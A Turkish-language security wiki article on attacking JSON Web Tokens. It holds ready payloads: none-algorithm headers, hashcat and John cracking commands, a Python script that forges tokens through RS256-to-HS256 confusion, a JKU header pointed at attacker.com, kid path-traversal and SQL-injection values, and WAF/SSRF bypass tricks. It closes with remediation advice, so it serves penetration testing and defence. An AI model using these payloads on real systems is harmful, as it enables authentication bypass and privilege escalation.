JSON Web Token (JWT) Security & Advanced Exploitation
> Yazar: Emre Ermenek
Modern web mimarilerinde (Microservices, SPA, Serverless) kimlik doğrulama ve yetkilendirme (Authentication & Authorization) süreçlerinin omurgasını oluşturan JSON Web Token (JWT), durumsuz (stateless) yapısı sayesinde sunucu tarafında oturum bilgisini tutma zorunluluğunu ortadan kaldırır. Ancak bu "Self-Contained" (kendi kendine yeten) yapı, güvenliğin tamamen token'ın kriptografik bütünlüğüne ve implementasyon kusursuzluğuna dayanmasına neden olur. Red Team operasyonlarında JWT, yatay/dikey yetki yükseltme (Privilege Escalation), kimlik sahtekarlığı (Impersonation) ve bazı durumlarda Remote Code Execution (RCE) elde etmek için en kritik saldırı yüzeylerinden biridir. Bu doküman, JWT'nin düşük seviyeli (RFC 7519, RFC 7515) çalışma prensiplerinden, karmaşık kriptografik zafiyetlerine ve ileri düzey atlatma tekniklerine kadar uzanan eksiksiz bir sömürü rehberidir.
How It Works (Teknik Analiz)
Bir JWT, aralarında nokta (.) bulunan üç adet Base64Url ile kodlanmış parçadan oluşur: Header.Payload.Signature. Tarayıcı çerezlerinden (Cookies) farklı olarak, JWT'ler istemci tarafında tutulur ve her sunucu isteğinde Authorization: Bearer <token> başlığı altında iletilir.
- Header (JOSE Header): Token'ın tipini (
typ: JWT) ve kullanılan imzalama algoritmasını (alg: HS256, RS256, ES256, none) tanımlayan JSON objesidir. - Payload (Claims): Kullanıcıya ait verileri ve token'ın meta bilgilerini (iss, exp, aud, sub, iat, nbf) barındırır. Şifreli değildir, sadece Base64Url formatındadır.
- Signature (İmza): Header ve Payload'un Base64Url ile kodlanmış hallerinin arasına nokta konularak birleştirilmesi ve ardından Header'da belirtilen algoritma ile (simetrik veya asimetrik bir anahtar kullanılarak) imzalanmasıyla oluşur.
- Simetrik (Örn. HS256):
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) - Asimetrik (Örn. RS256): İmzalama için Private Key, doğrulama için Public Key kullanılır.
- Simetrik (Örn. HS256):
Zafiyetlerin kök nedeni genellikle (Root Cause); sunucunun gelen alg başlığına körü körüne güvenmesi, imza doğrulama fonksiyonlarının (verify) yerine sadece çözümleme (decode) fonksiyonlarının kullanılması veya kriptografik anahtar yönetimindeki zafiyetlerdir.
Vulnerable Code Patterns
Geliştiricilerin sıklıkla yaptığı ölümcül hatalar farklı dillerde aşağıdaki gibi karşımıza çıkar:
Python (PyJWT) - İmza Doğrulamasının Atlanması:
import jwt
def get_user_data(token):
# KRİTİK HATA: verify_signature=False ile token'ın sadece içeriği okunur, imza kontrol edilmez.
# Saldırgan payload kısmını değiştirerek istediği kullanıcı haklarına erişebilir.
try:
payload = jwt.decode(token, options={"verify_signature": False})
return payload['username']
except Exception as e:
return None
NodeJS (jsonwebtoken) - Algoritma Karmaşası (Algorithm Confusion):
const jwt = require('jsonwebtoken');
const fs = require('fs');
// Public key okunuyor
const publicKey = fs.readFileSync('public.pem');
function verifyToken(token) {
// KRİTİK HATA: alg parametresi sınırlandırılmamış.
// Saldırgan token'ı HS256 ile imzalayıp 'secret' olarak publicKey'i kullanabilir.
return jwt.verify(token, publicKey);
}
PHP (firebase/php-jwt) - None Algoritmasına İzin Verilmesi:
use \Firebase\JWT\JWT;
function checkAuth($jwt) {
$secretKey = 'super_secret_key';
// Eski sürümlerde veya yanlış konfigürasyonlarda alg dizisi boş bırakıldığında veya
// güvensiz parser kullanıldığında 'none' algoritması kabul edilebilir.
$decoded = JWT::decode($jwt, $secretKey, array('HS256', 'none'));
return $decoded;
}
Detection & Enumeration (Keşif ve Analiz)
Bir uygulamada JWT kullanıldığını tespit etmek ve zafiyet analizi yapmak için öncelikle token'ın yapısını analiz etmek gerekir.
- Token Tespiti: JWT'ler her zaman
eyJ(Base64Url ile kodlanmış{"karakterleri) ile başlar. Header'lar sıklıklaeyJhbGciOi({"alg":) şeklinde gözlemlenir. - İletim Noktaları: HTTP İstek Başlıkları (
Authorization: Bearer <token>,X-Access-Token), Çerezler (Cookie: token=...), URL Parametreleri (?jwt=), LocalStorage/SessionStorage verileri. - Manuel Keşif Adımları:
- Token elde edildikten sonra JWT.io veya Burp Suite (JWT Editor) ile Base64 decode işlemi yapılarak içerik okunur.
- Header içindeki
alg(Algoritma),kid(Key ID),jwk(JSON Web Key),jku(JWK Set URL) gibi standart dışı/riskli parametreler aranır. - Payload içindeki
exp(Zaman Aşımı - Expiration) veyaaud(Audience - Hedef Kitle) gibi zorunlu kontrollerin varlığı test edilir. - Payload manipüle edildiğinde uygulamanın verdiği HTTP 401/403 veya 500 Internal Server Error hataları analiz edilir. (Örn: Hata mesajı kütüphane ismini ifşa ediyor mu?)
Attack Vectors & Exploitation (İstismar Vektörleri)
Unverified Signature (İmza Doğrulama Zafiyeti)
Sunucu token'ı kabul ederken sadece decode işlemini yapıyor ancak kriptografik imzayı verify etmiyorsa, token içindeki herhangi bir veri (claim) serbestçe değiştirilebilir.
- İstismar Zinciri: Token alınır -> Payload kısmındaki
username"admin" yapılır ->role"1" veya "admin" yapılır -> İmza kısmı değiştirilmeden veya tamamen silinerek sunucuya gönderilir (Örn:Header.Payload.).
None Algorithm Downgrade (Algoritmayı Devre Dışı Bırakma)
Sistem, JWT RFC'sinde debugging amaçlı tanımlanmış none algoritmasını aktif unutmuş olabilir. Bu durumda imza mekanizması tamamen çöker.
- İstismar Zinciri: Header base64 olarak decode edilir ->
{"alg":"HS256"}değeri{"alg":"none"}olarak değiştirilir -> Payload üzerinde yetki yükseltilir -> İmza kısmı tamamen silinir (Sonundaki noktayı bırakmak veya kaldırmak sisteme göre değişiklik gösterir:Header.Payload.veyaHeader.Payload).
Weak Symmetric Key Brute-Forcing (Zayıf Anahtar Kırılması)
Eğer token HS256 gibi simetrik bir algoritma ile şifrelenmişse ve güvenlik zafiyeti olan kısa bir "secret key" kullanılmışsa, bu anahtar çevrimdışı (offline) sözlük saldırıları ile kırılabilir. Anahtar ele geçirildikten sonra istenilen JWT yetkisi sahte olarak (forge) üretilebilir.
- İstismar Zinciri: Geçerli bir JWT yakalanır -> Hashcat veya John The Ripper kullanılarak yaygın parola listeleri veya özel JWT sözlükleriyle (Örn:
jwt.secrets.list) kırılır -> Elde edilen secret ileadmin=trueclaim'ine sahip yeni bir JWT üretilir.
Algorithm Confusion (Asymmetric to Symmetric İndirgeme)
Sunucu asimetrik bir algoritma (Örn: RS256 - Public/Private key) beklerken, backend doğrulama fonksiyonu gönderilen token'ın alg başlığına güvenir. Saldırgan alg değerini HS256 (simetrik) yapar ve uygulamayı şaşırtır. Sunucu simetrik doğrulama yaparken arka planda "secret key" olarak istemciye ifşa edilmiş olan "Public Key" dosyasını veya anahtar metnini kullanır.
- İstismar Zinciri: Uygulamanın Public Key'i bulunur (genellikle
/api/public_key,/.well-known/jwks.jsonveya hata mesajlarından) -> Token'ın header'ı{"alg":"HS256"}yapılır -> Manipüle edilmiş Payload ile token, Public Key metnisecretolarak kullanılarak HS256 algoritmasıyla imzalanır.
JWK (JSON Web Key) Header Injection
Geliştiriciler jwk parametresini kullanarak imza doğrulamasında kullanılacak açık anahtarı direkt token içerisine gömebilir. Eğer sunucu bu değeri doğrulamadan kabul ederse (Whitelist eksikliği), saldırgan kendi ürettiği RSA Private Key ile token'ı imzalar ve Public Key'ini jwk parametresi ile token içine yerleştirir.
- İstismar Zinciri: Kendi RSA anahtar çiftini oluştur -> Token'ı kendi Private Key'in ile RS256 kullanarak imzala ->
jwkbaşlığına Public Key'ini ekle -> Sunucu kendi Public Key'ini kullanarak geçerli sayacaktır.
JKU (JSON Web Key Set URL) Header Injection
jku başlığı, doğrulama anahtarlarının barındırıldığı harici bir URL'yi işaret eder. Sunucu, sağlanan URL'den anahtarları indirir.
- İstismar Zinciri:
jkuparametresini kendi kontrolündeki bir sunucuya (Örn:https://attacker.com/jwks.json) yönlendir -> Bu URL'de kendi ürettiğin Public Key'i barındır -> Token'ı kendi Private Key'in ile imzala. Sunucu anahtarı senden indireceği için token geçerli sayılacaktır. (Burada URL filtrelemesini atlatmak için SSRF teknikleri kullanılabilir).
KID (Key ID) Path Traversal & SQL Injection
Sunucu birden fazla anahtar kullanıyorsa, doğru anahtarı seçmek için kid (Key ID) başlığını kullanır. Bu değer backend tarafında bir dosya sistemine veya veritabanına sorgu olarak gidiyorsa kritik zafiyetler doğar.
- Path Traversal İstismarı:
kidparametresine../../../../dev/nulldeğeri verilir./dev/nullher zaman boş değer döner. Saldırgan token'ı boş bir string (empty string"") secret key ileHS256üzerinden imzalarsa sistem bunu doğrular. - SQL Injection İstismarı:
kiddeğeri veritabanında sorgulanıyorsanonexistent' UNION SELECT 'attacker_controlled_secretşeklinde SQLi yapılarak, sahte bir secret key veritabanı sorgusundan dönmüş gibi gösterilir. Ardından tokenattacker_controlled_secretile imzalanır.
Cross-Service Relay & Audience (AUD) Misconfiguration
Büyük SSO veya Microservice mimarilerinde merkezi kimlik doğrulama, token'ı üretir ancak her mikroservisin kendi aud (Audience) değerini kontrol etmesi gerekir. Bir serviste normal yetkilere sahip kullanıcıya verilen JWT, aud claim'i doğrulanmadığı için yetkili olduğu başka bir servise gönderilerek "Yetki Yükseltme" elde edilebilir.
Sensitive Information Disclosure (Hassas Veri İfşası)
Sistem mimarlarının Payload'un Base64 olduğunu unutup şifreli sandığı durumlardır. Parola hashleri, Clear-text şifreler, internal IP adresleri, SSH anahtarları veya oturum sırları doğrudan Payload içerisine (Örn: {"password":"User123!", "internal_ip":"10.0.0.5"}) yazılabilir. Sadece base64 decode ederek elde edilir.
Lifetime and Replay Attacks (EXP Missing)
Token içerisinde exp (Expiration - Bitiş zamanı) claim'i tanımlanmamışsa token sonsuza dek (Persistent) geçerli kalır. Ayrıca jti (JWT ID) claim'i ile benzersizlik sağlanmamışsa, bir kurbanın ağ trafiğinden sniff edilen (çalınan) JWT, yıllar sonra bile Replay (Tekrar oynatma) saldırılarıyla kullanılabilir.
Payloads & Advanced Commands
Hashcat & John the Ripper Cracking Commands
JWT'yi offline olarak brute-force ile kırmak için kullanılan komutlar. Hedef token jwt.txt içine kaydedilmiş olmalıdır.
# Hashcat - Geleneksel HS256 kırma
hashcat -a 0 -m 16500 jwt.txt /path/to/jwt.secrets.list
# Hashcat - Mask attack (Örneğin secret key 5 karakterli küçük harf ise)
hashcat -a 3 -m 16500 jwt.txt ?l?l?l?l?l
# John The Ripper - Standart sözlük saldırısı
john --format=jwt --wordlist=/path/to/jwt.secrets.list jwt.txt
# John The Ripper - Kırılan şifreyi gösterme
john --show jwt.txt
None Algorithm Payloads
Base64 encoding sırasında padding (=) karakterlerinin silinmesi gerektiğini unutmayın (JWT standardı Base64Url kullanır).
// Orijinal Header
{"alg":"HS256","typ":"JWT"}
// Varyasyon 1 (Küçük harf none)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
// Varyasyon 2 (Büyük harf NONE)
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0
// Varyasyon 3 (Karışık - NoNe)
eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0
// Payload Kısmı Manipüle Edildikten Sonra Son İstek Formatı:
HeaderBase64.PayloadBase64.
// Veya
HeaderBase64.PayloadBase64
Algorithm Confusion (RS256 to HS256) Exploit Script (Python)
Sunucudan elde edilen public_key.pem dosyası kullanılarak sahte token üretimi:
import jwt
import base64
# Sunucunun veya API'ın Public Key'i (Harfiyen kopyalanmalı, \n dahil)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy...
-----END PUBLIC KEY-----"""
# Yükseltilmiş yetkilere sahip payload
payload = {
"username": "admin",
"role": "admin",
"admin": 1
}
# Algoritmayı HS256 olarak zorlayıp, secret olarak Public Key'i kullanıyoruz
# PyJWT'nin yeni sürümlerinde koruma olabilir, eski sürümler (<=1.5.3) veya
# jwt.io üzerinden manuel müdahale gerekebilir.
forged_jwt = jwt.encode(payload, public_key, algorithm="HS256")
print("[+] Bypassed JWT Generated:\n" + forged_jwt)
KID Path Traversal & SQLi Injection Payloads
Aşağıdaki base64 kodlanmamış header örnekleri kid zafiyetleri için test edilmelidir. Payload, boş (empty) bir string "" anahtarı ile veya veritabanına inject edilen değerle HS256 üzerinden imzalanmalıdır.
// Path Traversal 1 (Linux /dev/null - Boş dosya okunur)
{"kid":"../../../../../../../../dev/null","typ":"JWT","alg":"HS256"}
// Path Traversal 2 (Windows boş dosya karşılığı)
{"kid":"C:\\nul","typ":"JWT","alg":"HS256"}
// SQLi UNION tabanlı anahtar enjeksiyonu
{"kid":"non_existent' UNION SELECT 'secret_string'--","typ":"JWT","alg":"HS256"}
// SQLi Boolean-based inference
{"kid":"key1' AND 1=1--","typ":"JWT","alg":"HS256"}
Decode & Inspect (Without Verification)
Herhangi bir script dillerinde imza kontrolü yapmadan veriyi okumak için:
import jwt
import sys
# Argüman olarak verilen token'ın içeriğini döker
token = sys.argv[1]
payload = jwt.decode(token, options={"verify_signature": False})
print(payload)
Bypass & Obfuscation (Atlatma Teknikleri)
WAF/IDS sistemlerini veya backend tabanlı regex (düzenli ifade) filtrelerini atlatmak için JWT yapısındaki parser (çözümleyici) zafiyetleri kullanılabilir.
- Büyük/Küçük Harf (Case Sensitivity) Bypass: Algoritma doğrulamalarında filtre
"none"ifadesini engelliyorsa, parserNoNeveyaNONEgibi değerleri atlayabilir ancak hala algoritmayınoneolarak işleyebilir. - Boşluk ve Karakter Ekleme: JSON formatının esnekliğini kullanarak filtreler atlatılabilir. Örneğin
{"alg":"none"}engelleniyorsa:{ "alg" : "none" }(Boşluklar){"alg":"none", "dummy":"data"}(Gereksiz parametre ekleme){"\u0061\u006c\u0067": "none"}(Unicode Encoding)
- SSRF ve JKU Bypass:
jkubaşlığı bir adresi işaret ettiğinde güvenlik duvarı dış IP'leri engelliyorsa:{"jku": "https://trusted-domain.com@attacker.com/jwks.json"}(URL Yönlendirme/Parslama hatası)- IP Obfuscation:
{"jku": "http://2130706433/jwks.json"}(127.0.0.1'in Decimal karşılığı)
- Trailing Dot (Sondaki Nokta) Manipülasyonu: Bazı kütüphaneler imza (signature) olmadığında ikinci noktayı zorunlu tutarken (
Header.Payload.), bazıları noktanın olmasını hata olarak algılar (Header.Payload). Hedefe göre iki varyasyon da denenmelidir.
Remediation & Prevention (Önleme ve Savunma)
JWT mimarisinin güvenli bir şekilde inşa edilmesi için uygulamanın her katmanında (Blue Team & Mimari) aşağıdaki kontroller zorunlu kılınmalıdır:
- Katı Algoritma İzin Listesi (Strict Algorithm Whitelisting):
algbaşlığına asla güvenmeyin. İmza doğrulama fonksiyonlarında kabul edilebilir algoritmaları "Hardcoded" olarak veya açık birarrayile belirleyin.nonealgoritmasını sistem genelinde tamamen yasaklayın.- Güvenli Kod (Python):
payload = jwt.decode(token, SECRET, algorithms=["RS256"])
- Güvenli Kod (Python):
- Asimetrik ve Simetrik Doğrulamaları Ayırma: Backend
RS256bekliyorsa, doğrulama modülünün yalnızca asimetrik anahtarla çalışmaya zorlandığından emin olun (Algorithm Confusion engelleme). - Güçlü Parolalar ve Key Yönetimi (Entropy): Simetrik algoritmalarda (HS256) kullanılacak "secret" anahtarları asla sözlük kelimeleri olmamalı, yüksek entropiye sahip (minimum 32-byte, rastgele oluşturulmuş karakter dizileri) olmalıdır.
- Header Parametrelerinin Reddedilmesi: Uygulamanızın ihtiyacı yoksa kullanıcıdan gelen
jwk,jku,kid,x5cgibi Header parametrelerini parse etmeyin ve direkt reddedin (Drop request). - Audience (aud) ve Issuer (iss) Doğrulaması: Mikroservis mimarilerinde her token
iss(kim üretti) veaud(hangi servis için üretildi) değerlerini barındırmalı ve uygulamanın API Gateway / Endpoint seviyesinde bunlar kati suretle doğrulanmalıdır. - Token Yaşam Döngüsü (Lifetime & JTI): Her token mutlaka
exp(Zaman aşımı) veiat(Üretilme zamanı) değerlerine sahip olmalıdır. Uzun süreli oturumlar için Access Token kısa ömürlü (Örn: 15 dakika), Refresh Token ise güvenli bir şekilde saklanmalıdır. Tekrar oynatma (Replay) saldırılarına karşıjti(JWT ID) claim'i ile benzersizlik sağlanmalı ve kullanılmış token'lar (tek kullanımlıksa) geçersiz kılınmalıdır (Blocklisting).
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Hashcat | Zayıf Simetrik Anahtar Brute-Force (HS256) | hashcat -a 0 -m 16500 jwt.txt rockyou.txt |
| John The Ripper | Zayıf Simetrik Anahtar Kırma | john --format=jwt --wordlist=jwt.secrets.list jwt.txt |
| JWT.io | Manuel Token Decode / Encode Arayüzü | (Web Tarayıcı Üzerinden Kullanılır) |
| Burp Suite (JWT Editor Ext.) | Otomatize JWK Injection / None Alg Downgrade | Extender -> BApp Store -> JWT Editor yükle |
| PyJWT (Python) | Özel Exploit Scripleri Yazmak İçin Kütüphane | pip3 install PyJWT |
| jwt-cracker | Hızlı ve basit JWT Offline Cracker (Node tabanlı) | jwt-cracker <token> <alphabet> <max_length> |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv